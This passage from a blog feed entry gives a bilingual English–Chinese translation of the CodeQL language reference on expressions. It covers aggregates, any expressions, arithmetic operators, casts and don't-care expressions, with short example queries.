<code>sum</code> aggregate in the following query:</p><blockquote><p>让我们在下面的查询中把这些步骤应用到sum聚合中:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">select sum(int i, int j |</span><br><span class="line">    exists(string s | s = "hello".charAt(i)) and exists(string s | s = "world!".charAt(j)) | i)</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/27u54er27ec/27u54er27ec.png" alt="image-20210316205427265"></p><ol><li><p>Input variables: <code>i</code>, <code>j</code>.</p><blockquote><p>输入变量：i，j。</p></blockquote></li><li><p>All possible tuples <code>(&lt;value of i&gt;, &lt;value of j&gt;)</code> satisfying the given condition: <code>(0, 0), (0, 1), (0, 2), (0, 3), (0, 4), (0, 5), (1, 0), (1, 1), ..., (4, 5)</code>.</p><blockquote><p>满足给定条件的所有可能的元组（&lt;i的值&gt;，&lt;j的值&gt;）。(0, 0), (0, 1), (0, 2), (0, 3), (0, 4), (0, 5), (1, 0), (1, 1), …, (4, 5).</p></blockquote><p> 30 tuples are generated in this step.</p><blockquote><p>在这一步骤中会生成30个元组。</p></blockquote></li><li><p>Apply the <code>&lt;expression&gt; i</code> on all tuples. This means selecting all values of <code>i</code> from all tuples: <code>0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4.</code></p><blockquote><p>在所有元组上应用&lt;表达式&gt;i。这意味着从所有元组中选择i的所有值。0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4.</p></blockquote></li><li><p>Apply the aggregation function <code>sum</code> on the above values to get the final result <code>60</code>.</p><blockquote><p>在上述数值上应用聚合函数sum，得到最终结果60。</p></blockquote></li></ol><p>If we change <code>&lt;expression&gt;</code> to <code>i + j</code> in the above query, the query result is <code>135</code> since applying <code>i + j</code> on all tuples results in following values: <code>0, 1, 2, 3, 4, 5, 1, 2, 3, 4, 5, 6, 2, 3, 4, 5, 6, 7, 3, 4, 5, 6, 7, 8, 4, 5, 6, 7, 8, 9</code>.</p><blockquote><p>如果我们将上述查询中的<expression>改为i+j，则查询结果为135，因为将i+j应用于所有元组上的结果如下。0, 1, 2, 3, 4, 5, 1, 2, 3, 4, 5, 6, 2, 3, 4, 5, 6, 7, 3, 4, 5, 6, 7, 8, 4, 5, 6, 7, 8, 9.</expression></p></blockquote><p>Next, consider the following query:</p><blockquote><p>接下来，考虑下面的查询: </p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select count(string s | s = "hello" | s.charAt(_))</span><br></pre></td></tr></tbody></table></figure><ol><li><p><code>s</code> is the input variable of the aggregate.</p><blockquote><p>s是集合的输入变量。</p></blockquote></li><li><p>A single tuple <code>"hello"</code> is generated in this step.</p><blockquote><p>在这一步骤中会生成一个单一元组 “hello”。</p></blockquote></li><li><p>The <code>&lt;expression&gt; charAt(_)</code> is applied on this tuple. The underscore <code>_</code> in <code>charAt(_)</code> is a <a href="https://codeql.github.com/docs/ql-language-reference/expressions/#don-t-care-expressions" target="_blank" rel="noopener">don’t-care expression</a>, which represents any value. <code>s.charAt(_)</code> generates four distinct values <code>h, e, l, o</code>.</p><blockquote><p>&lt;表达式&gt; charAt(<em>)被应用在这个元组上。s.charAt(</em>)中的下划线<em>是一个无所谓的表达式，它代表任何值。s.charAt(</em>)生成四个不同的值h、e、l、o。</p></blockquote></li><li><p>Finally, <code>count</code> is applied on these values, and the query returns <code>4</code>.</p><blockquote><p>最后，对这些值应用count，查询返回4。</p></blockquote></li></ol><h3 id="Omitting-parts-of-an-aggregation¶省略聚会的部分内容"><a href="#Omitting-parts-of-an-aggregation¶省略聚会的部分内容" class="headerlink" title="Omitting parts of an aggregation¶省略聚会的部分内容"></a>Omitting parts of an aggregation<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#omitting-parts-of-an-aggregation" target="_blank" rel="noopener">¶</a>省略聚会的部分内容</h3><p>The three parts of an aggregation are not always required, so you can often write the aggregation in a simpler form:</p><blockquote><p>聚合的三个部分并不总是必需的，所以你通常可以用更简单的形式来写聚合。</p></blockquote><ol><li><p>If you want to write an aggregation of the form <code>&lt;aggregate&gt;(&lt;type&gt; v | &lt;expression&gt; = v | v)</code>, then you can omit the <code>&lt;variable declarations&gt;</code> and <code>&lt;formula&gt;</code> parts and write it as follows:</p><blockquote><p>如果你想写一个<aggregate>(<type> v | <expression> = v | v)这种形式的聚合，那么你可以省略&lt;变量声明&gt;和&lt;公式&gt;部分，写成如下:</expression></type></aggregate></p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;aggregate&gt;(&lt;expression&gt;)</span><br></pre></td></tr></tbody></table></figure><p> For example, the following aggregations determine how many times the letter <code>l</code> occurs in string <code>"hello"</code>. These forms are equivalent:</p><blockquote><p>例如，下面的聚合确定了字母l在字符串 “hello “中出现的次数。这些形式是等价的。</p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">count(int i | i = "hello".indexOf("l") | i)</span><br><span class="line">count("hello".indexOf("l"))</span><br></pre></td></tr></tbody></table></figure></li><li><p>If there is only one aggregation variable, you can omit the <code>&lt;expression&gt;</code> part instead. In this case, the expression is considered to be the aggregation variable itself. For example, the following aggregations are equivalent:</p><blockquote><p>如果只有一个聚合变量，你可以省略<expression>部分。在这种情况下，表达式被认为是聚合变量本身。例如，下面的聚合变量是等价的。</expression></p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">avg(int i | i = [0 .. 3] | i)</span><br><span class="line">avg(int i | i = [0 .. 3])</span><br></pre></td></tr></tbody></table></figure></li><li><p>As a special case, you can omit the <code>&lt;expression&gt;</code> part from <code>count</code> even if there is more than one aggregation variable. In such a case, it counts the number of distinct tuples of aggregation variables that satisfy the formula. In other words, the expression part is considered to be the constant <code>1</code>. For example, the following aggregations are equivalent:</p><blockquote><p>作为一种特殊情况，您可以省略 count 中的 <expression> 部分，即使有一个以上的聚合变量。在这种情况下，它计算满足公式的聚合变量的不同元组的数量。换句话说，表达式部分被认为是常数1。例如，下面的聚合是等价的。</expression></p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">count(int i, int j | i in [1 .. 3] and j in [1 .. 3] | 1)</span><br><span class="line">count(int i, int j | i in [1 .. 3] and j in [1 .. 3])</span><br></pre></td></tr></tbody></table></figure></li><li><p>You can omit the <code>&lt;formula&gt;</code> part, but in that case you should include two vertical bars:</p><blockquote><p>你可以省略&lt;公式&gt;部分，但在这种情况下，你应该包括两个竖条。</p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;aggregate&gt;(&lt;variable declarations&gt; | | &lt;expression&gt;)</span><br></pre></td></tr></tbody></table></figure><p> This is useful if you don’t want to restrict the aggregation variables any further. For example, the following aggregation returns the maximum number of lines across all files:</p><blockquote><p>如果你不想进一步限制聚合变量，这很有用。例如，下面的聚合返回所有文件的最大行数。</p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">max(File f | | f.getTotalNumberOfLines())</span><br></pre></td></tr></tbody></table></figure></li><li><p>Finally, you can also omit both the <code>&lt;formula&gt;</code> and <code>&lt;expression&gt;</code> parts. For example, the following aggregations are equivalent ways to count the number of files in a database:</p><blockquote><p>最后，你也可以省略&lt;公式&gt;和&lt;表达式&gt;两部分。例如，下面的聚合是计算数据库中文件数量的等价方法。</p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">count(File f | any() | 1)</span><br><span class="line">count(File f | | 1)</span><br><span class="line">count(File f)</span><br></pre></td></tr></tbody></table></figure></li></ol><h3 id="Monotonic-aggregates¶单调聚合"><a href="#Monotonic-aggregates¶单调聚合" class="headerlink" title="Monotonic aggregates¶单调聚合"></a>Monotonic aggregates<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#monotonic-aggregates" target="_blank" rel="noopener">¶</a>单调聚合</h3><p>In addition to standard aggregates, QL also supports monotonic aggregates. Monotonic aggregates differ from standard aggregates in the way that they deal with the values generated by the <code>&lt;expression&gt;</code> part of the formula:</p><blockquote><p>除了标准聚合，QL还支持单调聚合。单调聚合与标准聚合的不同之处在于它们处理公式中<expression>部分产生的值。</expression></p></blockquote><ul><li><p>Standard aggregates take the <code>&lt;expression&gt;</code> values for each <code>&lt;formula&gt;</code> value and flatten them into a list. A single aggregation function is applied to all the values.</p></li><li><blockquote><p>标准聚合是将每个&lt;公式&gt;值的<expression>值扁平化为一个列表。一个单一的聚合函数被应用于所有的值。</expression></p></blockquote></li><li><p>Monotonic aggregates take an <code>&lt;expression&gt;</code> for each value given by the <code>&lt;formula&gt;</code>, and create combinations of all the possible values. The aggregation function is applied to each of the resulting combinations.</p></li><li><blockquote><p>单调聚合对&lt;公式&gt;给出的每个值取一个<expression>，并创建所有可能的值的组合。聚合函数被应用于每个产生的组合。</expression></p></blockquote></li></ul><p>In general, if the <code>&lt;expression&gt;</code> is total and functional, then monotonic aggregates are equivalent to standard aggregates. Results differ when there is not precisely one <code>&lt;expression&gt;</code> value for each value generated by the <code>&lt;formula&gt;</code>:</p><blockquote><p>一般来说，如果&lt;表达式&gt;是总的和函数的，那么单调聚合相当于标准聚合。当&lt;公式&gt;生成的每一个值没有精确的一个<expression>值时，结果就会有所不同:</expression></p></blockquote><ul><li><p>If there are missing <code>&lt;expression&gt;</code> values (that is, there is no <code>&lt;expression&gt;</code> value for a value generated by the <code>&lt;formula&gt;</code>), monotonic aggregates won’t compute a result, as you cannot create combinations of values including exactly one <code>&lt;expression&gt;</code> value for each value generated by the <code>&lt;formula&gt;</code>.</p></li><li><blockquote><p>如果缺少<expression>值（也就是说，<formula>生成的值中没有<expression>值），单调聚合不会计算结果，因为你不能为<formula>生成的每个值创建包括一个<expression>值的组合。</expression></formula></expression></formula></expression></p></blockquote></li><li><p>If there is more than one <code>&lt;expression&gt;</code> per <code>&lt;formula&gt;</code> result, you can create multiple combinations of values including exactly one <code>&lt;expression&gt;</code> value for each value generated by the <code>&lt;formula&gt;</code>. Here, the aggregation function is applied to each of the resulting combinations.</p></li><li><blockquote><p>如果每个<formula>结果有一个以上的<expression>，您可以为<formula>生成的每个值创建多个值的组合，包括正好一个<expression>值。在这里，聚合函数被应用到每个结果组合中。</expression></formula></expression></formula></p></blockquote></li></ul><hr><h4 id="Recursive-monotonic-aggregates¶递归单调聚合"><a href="#Recursive-monotonic-aggregates¶递归单调聚合" class="headerlink" title="Recursive monotonic aggregates¶递归单调聚合"></a>Recursive monotonic aggregates<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#recursive-monotonic-aggregates" target="_blank" rel="noopener">¶</a>递归单调聚合</h4><p>Monotonic aggregates may be used <a href="https://codeql.github.com/docs/ql-language-reference/recursion/#recursion" target="_blank" rel="noopener">recursively</a>, but the recursive call may only appear in the expression, and not in the range. The recursive semantics for aggregates are the same as the recursive semantics for the rest of QL. For example, we might define a predicate to calculate the distance of a node in a graph from the leaves as follows:</p><blockquote><p>单调聚合可以递归使用，但递归调用只能出现在表达式中，而不能出现在范围内。聚合体的递归语义与QL其他部分的递归语义相同。例如，我们可以定义一个谓词来计算图中一个节点与叶子的距离，如下所示: </p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">int depth(Node n) {</span><br><span class="line">  if not exists(n.getAChild())</span><br><span class="line">  then result = 0</span><br><span class="line">  else result = 1 + max(Node child | child = n.getAChild() | depth(child))</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Here the recursive call is in the expression, which is legal. The recursive semantics for aggregates are the same as the recursive semantics for the rest of QL. If you understand how aggregates work in the non-recursive case then you should not find it difficult to use them recursively. However, it is worth seeing how the evaluation of a recursive aggregation proceeds.</p><blockquote><p>这里的递归调用是在表达式中，这是合法的。聚合体的递归语义与QL的其他递归语义是一样的。如果你理解了聚合体在非递归情况下的工作原理，那么你应该不会觉得递归地使用聚合体有什么困难。然而，值得看看递归聚合的评估是如何进行的。</p></blockquote><p>Consider the depth example we just saw with the following graph as input (arrows point from children to parents):</p><blockquote><p>考虑一下我们刚刚看到的深度例子，以下面的图作为输入（箭头从子代指向父代）。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/0u33er0ec/0u33er0ec.png" alt="image0"></p><p>Then the evaluation of the <code>depth</code> predicate proceeds as follows:</p><blockquote><p>那么谓词的<code>depth</code>计算过程如下：</p></blockquote><table><thead><tr><th align="left"><strong>Stage</strong></th><th align="left"><strong>depth</strong></th><th align="left"><strong>Comments</strong></th></tr></thead><tbody><tr><td align="left">0</td><td align="left"></td><td align="left">We always begin with the empty set.                                        从空集开始。</td></tr><tr><td align="left">1</td><td align="left"><code>(0, b),             (0, d), (0, e)</code></td><td align="left">The nodes with no children have depth 0. The recursive step for <strong>a</strong> and <strong>c</strong> fails to produce a value, since some of their children do not have values for <code>depth</code>.                                                     没有子节点的节点的深度为0.a和c的递归步骤没有产生一个值，因为它们的一些子节点没有深度值。</td></tr><tr><td align="left">2</td><td align="left"><code>(0, b), (0, d), (0, e), (1, c)</code></td><td align="left">The recursive step for <strong>c</strong> succeeds, since <code>depth</code> now has a value for all its children (<strong>d</strong> and <strong>e</strong>). The recursive step for <strong>a</strong> still fails.                                                                    c的递归步骤成功，因为深度现在对所有子节点（d和e）都有一个值。a的递归步骤仍然失败。</td></tr><tr><td align="left">3</td><td align="left"><code>(0, b), (0, d), (0, e), (1, c), (2, a)</code></td><td align="left">The recursive step for <strong>a</strong> succeeds, since <code>depth</code> now has a value for all its children (<strong>b</strong> and <strong>c</strong>).a的递归步骤成功，因为深度现在对所有的子代（b和c）都有一个值。</td></tr></tbody></table><p>Here, we can see that at the intermediate stages it is very important for the aggregate to fail if some of the children lack a value - this prevents erroneous values being added.</p><blockquote><p>在这里，我们可以看到，在中间阶段，如果一些子代缺少一个值，那么聚合失败是非常重要的–这可以防止错误的值被添加。</p></blockquote><h2 id="Any¶"><a href="#Any¶" class="headerlink" title="Any¶"></a>Any<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#any" target="_blank" rel="noopener">¶</a></h2><p>The general syntax of an <code>any</code> expression is similar to the syntax of an <a href="https://codeql.github.com/docs/ql-language-reference/expressions/#aggregations" target="_blank" rel="noopener">aggregation</a>, namely:</p><blockquote><p>Any表达式的一般语法与聚合的语法相似，即: </p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">any(&lt;variable declarations&gt; | &lt;formula&gt; | &lt;expression&gt;)</span><br></pre></td></tr></tbody></table></figure><p>You should always include the <a href="https://codeql.github.com/docs/ql-language-reference/variables/#variable-declarations" target="_blank" rel="noopener">variable declarations</a>, but the <a href="https://codeql.github.com/docs/ql-language-reference/formulas/#formulas" target="_blank" rel="noopener">formula</a> and <a href="https://codeql.github.com/docs/ql-language-reference/expressions/#expressions" target="_blank" rel="noopener">expression</a> parts are optional.</p><blockquote><p>你应该始终包含变量声明，但公式和表达式部分是可选的。</p></blockquote><p>The <code>any</code> expression denotes any values that are of a particular form and that satisfy a particular condition. More precisely, the <code>any</code> expression:</p><blockquote><p>Any表达式表示任何具有特定形式并满足特定条件的值。更准确地说，任何表达式。</p></blockquote><ol><li><p>Introduces temporary variables. 引入临时变量</p></li><li><p>Restricts their values to those that satisfy the <code>&lt;formula&gt;</code> part (if it’s present). 将它们的值限制为满足&lt;公式&gt;部分的值（如果有的话）。</p></li><li><p>Returns <code>&lt;expression&gt;</code> for each of those variables. If there is no <code>&lt;expression&gt;</code> part, then it returns the variables themselves.</p><blockquote><p>返回这些变量中每个变量的<expression>。如果没有<expression>部分，则返回变量本身。</expression></expression></p></blockquote></li></ol><p>The following table lists some examples of different forms of <code>any</code> expressions:</p><blockquote><p>下表列出了一些不同形式的任意表达式的例子:</p></blockquote><table><thead><tr><th align="left">Expression</th><th align="left">Values</th></tr></thead><tbody><tr><td align="left"><code>any(File f)</code></td><td align="left">all <code>File</code>s in the database</td></tr><tr><td align="left">`any(Element e</td><td align="left">e.getName())`</td></tr><tr><td align="left">`any(int i</td><td align="left">i = [0 .. 3])`</td></tr><tr><td align="left">`any(int i</td><td align="left">i = [0 .. 3]</td></tr></tbody></table><blockquote><p>Note</p><p>There is also a <a href="https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#non-member-built-ins" target="_blank" rel="noopener">built-in predicate</a> <code>any()</code>. This is a predicate that always holds.</p><p>还有一个内置的谓词any()。这是一个始终保持的谓词。</p></blockquote><h2 id="Unary-operations¶一元操作"><a href="#Unary-operations¶一元操作" class="headerlink" title="Unary operations¶一元操作"></a>Unary operations<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#unary-operations" target="_blank" rel="noopener">¶</a>一元操作</h2><p>A unary operation is a minus sign (<code>-</code>) or a plus sign (<code>+</code>) followed by an expression of type <code>int</code> or <code>float</code>. For example:</p><blockquote><p>单元运算是指一个减号(-)或加号(+)，后面跟着一个int或float类型的表达式。例如：</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">-6.28</span><br><span class="line">+(10 - 4)</span><br><span class="line">+avg(float f | f = 3.4 or f = -9.8)</span><br><span class="line">-sum(int i | i in [0 .. 9] | i * i)</span><br></pre></td></tr></tbody></table></figure><p>A plus sign leaves the values of the expression unchanged, while a minus sign takes the arithmetic negations of the values.</p><blockquote><p>加号使表达式的值保持不变，而负号则对值进行算术求反。</p></blockquote><h2 id="Binary-operations¶二元操作"><a href="#Binary-operations¶二元操作" class="headerlink" title="Binary operations¶二元操作"></a>Binary operations<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#binary-operations" target="_blank" rel="noopener">¶</a>二元操作</h2><p>A binary operation consists of an expression, followed by a binary operator, followed by another expression. For example:</p><blockquote><p>二进制运算由一个表达式、一个二进制运算符和另一个表达式组成。例如：</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">5 % 2</span><br><span class="line">(9 + 1) / (-2)</span><br><span class="line">"Q" + "L"</span><br><span class="line">2 * min(float f | f in [-3 .. 3])</span><br></pre></td></tr></tbody></table></figure><p>You can use the following binary operators in QL:</p><blockquote><p>可以在 QL 中使用以下二进制运算符：</p></blockquote><table><thead><tr><th align="left">Name</th><th align="left">Symbol</th></tr></thead><tbody><tr><td align="left">Addition/concatenation加法/串联</td><td align="left"><code>+</code></td></tr><tr><td align="left">Multiplication乘法</td><td align="left"><code>*</code></td></tr><tr><td align="left">Division除法</td><td align="left"><code>/</code></td></tr><tr><td align="left">Subtraction减法</td><td align="left"><code>-</code></td></tr><tr><td align="left">Modulo取模</td><td align="left"><code>%</code></td></tr></tbody></table><p>If both expressions are numbers, these operators act as standard arithmetic operators. For example, <code>10.6 - 3.2</code> has value <code>7.4</code>, <code>123.456 * 0</code> has value <code>0</code>, and <code>9 % 4</code> has value <code>1</code> (the remainder after dividing <code>9</code> by <code>4</code>). If both operands are integers, then the result is an integer. Otherwise the result is a floating-point number.</p><blockquote><p>如果两个表达式都是数字，这些运算符的作用就是标准的算术运算符。例如，10.6 - 3.2 的值是 7.4，123.456 * 0 的值是 0，9 % 4 的值是 1（9 除以 4 后的余数）。如果两个操作数都是整数，那么结果就是一个整数。否则结果是一个浮点数。</p></blockquote><p>You can also use <code>+</code> as a string concatenation operator. In this case, at least one of the expressions must be a string—the other expression is implicitly converted to a string using the <code>toString()</code> predicate. The two expressions are concatenated, and the result is a string. For example, the expression <code>221 + "B"</code> has value <code>"221B"</code>.</p><blockquote><p>你也可以使用+作为一个字符串连接操作符。在这种情况下，至少有一个表达式必须是字符串–另一个表达式使用toString()谓词隐式转换为字符串。这两个表达式被连接起来，结果是一个字符串。例如，表达式221 + “B “的值是 “221B”。</p></blockquote><hr><h2 id="Casts¶类型转化"><a href="#Casts¶类型转化" class="headerlink" title="Casts¶类型转化"></a>Casts<a href="https://codeql.github.com/docs/ql-language-reference/expressions/#casts" target="_blank" rel="noopener">¶</a>类型转化</h2><p>A cast allows you to constrain the <a href="https://codeql.github.com/docs/ql-language-reference/types/#types" target="_blank" rel="noopener">type</a> of an expression. This is similar to casting in other languages, for example in Java.</p><blockquote><p>强制转换允许您约束表达式的类型。这与其他语言中的强制转换类似，例如在 Java 中。</p></blockquote><p>You can write a cast in two ways:</p><blockquote><p>两种方式写一个类型转化</p></blockquote><ul><li><p>As a “postfix” cast: A dot followed by the name of a type in parentheses. For example, <code>x.(Foo)</code> restricts the type of <code>x</code> to <code>Foo</code>.</p><blockquote><p>作为一个 “后缀 “类型: 一个圆点后面是括号里的类型名称。例如，x.(Foo)将x的类型限制为Foo。</p></blockquote></li><li><p>As a “prefix” cast: A type in parentheses followed by another expression. For example, <code>(Foo)x</code> also restricts the type of <code>x</code> to <code>Foo</code>.</p><blockquote><p>作为一个 “前缀 “投递。在括号里的类型后面跟着另一个表达式. 例如，(Foo)x 也将 x 的类型限制为 Foo。</p></blockquote></li></ul><p>Note that a postfix cast is equivalent to a prefix cast surrounded by parentheses—<code>x.(Foo)</code> is exactly equivalent to <code>((Foo)x)</code>.</p><blockquote><p>请注意，后缀式等同于被括号包围的前缀式-x。(Foo)完全等同于((Foo)x)。</p></blockquote><p>Casts are useful if you want to call a <a href="https://codeql.github.com/docs/ql-language-reference/types/#member-predicates" target="_blank" rel="noopener">member predicate</a> that is only defined for a more specific type. For example, the following query selects Java <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$Class.html" target="_blank" rel="noopener">classes</a> that have a direct supertype called “List”:</p><blockquote><p>如果你想调用一个只为特定类型定义的成员谓词，那么转置是很有用的。例如，下面的查询选择了具有直接超类型 “List “的Java类。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Type t</span><br><span class="line">where t.(Class).getASupertype().hasName("List")</span><br><span class="line">select t</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/19u17er19ec/19u17er19ec.png" alt="image-20210316221719485"></p><p>Since the predicate <code>getASupertype()</code> is defined for <code>Class</code>, but not for <code>Type</code>, you can’t call <code>t.getASupertype()</code> directly. The cast <code>t.(Class)</code> ensures that <code>t</code> is of type <code>Class</code>, so it has access to the desired predicate.</p><blockquote><p>由于谓词getASupertype()是为Class定义的，而不是为Type定义的，所以不能直接调用t.getASupertype()。浇铸 t.(Class) 确保 t 是 Class 类型的，所以它可以访问所需的谓词。</p></blockquote><p>If you prefer to use a prefix cast, you can rewrite the <code>where</code> part as:</p><blockquote><p>如果你更喜欢使用前缀转码，你可以将where部分重写为。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">where ((Class)t).getASupertype().hasName("List")</span><br></pre></td></tr></tbody></table></figure><hr><h2 id="Don’t-care-expressions"><a href="#Don’t-care-expressions" class="headerlink" title="Don’t-care expressions"></a>Don’t-care expressions</h2><p>This is an expression written as a single underscore <code>_</code>. It represents any value. (You “don’t care” what the value is.)</p><blockquote><p>这是一个写成下划线_的表达式。它代表任何值。(你 “不关心 “这个值是什么。)</p></blockquote><p>Unlike other expressions, a don’t-care expression does not have a type. In practice, this means that <code>_</code> doesn’t have any <a href="https://codeql.github.com/docs/ql-language-reference/types/#member-predicates" target="_blank" rel="noopener">member predicates</a>, so you can’t call <code>_.somePredicate()</code>.</p><blockquote><p>与其他表达式不同，don’t-care表达式没有类型。在实践中，这意味着<em>没有任何成员谓词，所以你不能调用</em>.somePredicate()。</p></blockquote><p>For example, the following query selects all the characters in the string <code>"hello"</code>:</p><blockquote><p>例如，下面的查询选择了字符串 “hello “中的所有字符。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">from string s</span><br><span class="line">where s = "hello".charAt(_)</span><br><span class="line">select s</span><br></pre></td></tr></tbody></table></figure><p>The <code>charAt(int i)</code> predicate is defined on strings and usually takes an <code>int</code> argument. Here the don’t care expression <code>_</code> is used to tell the query to select characters at every possible index. The query returns the values <code>h</code>, <code>e</code>, <code>l</code>, and <code>o</code>.</p><blockquote><p>charAt(int i) 谓词定义在字符串上，通常取一个int参数。这里使用了don’t care表达式_来告诉查询在每个可能的索引中选择字符。查询返回的值是h、e、l和o。</p></blockquote>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Expressions¶表达式&quot;&gt;&lt;a href=&quot;#Expressions¶表达式&quot; class=&quot;headerlink&quot; title=&quot;Expressions¶表达式&quot;&gt;&lt;/a&gt;Expressions&lt;a href=&quot;https://codeql.github
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
</feed>
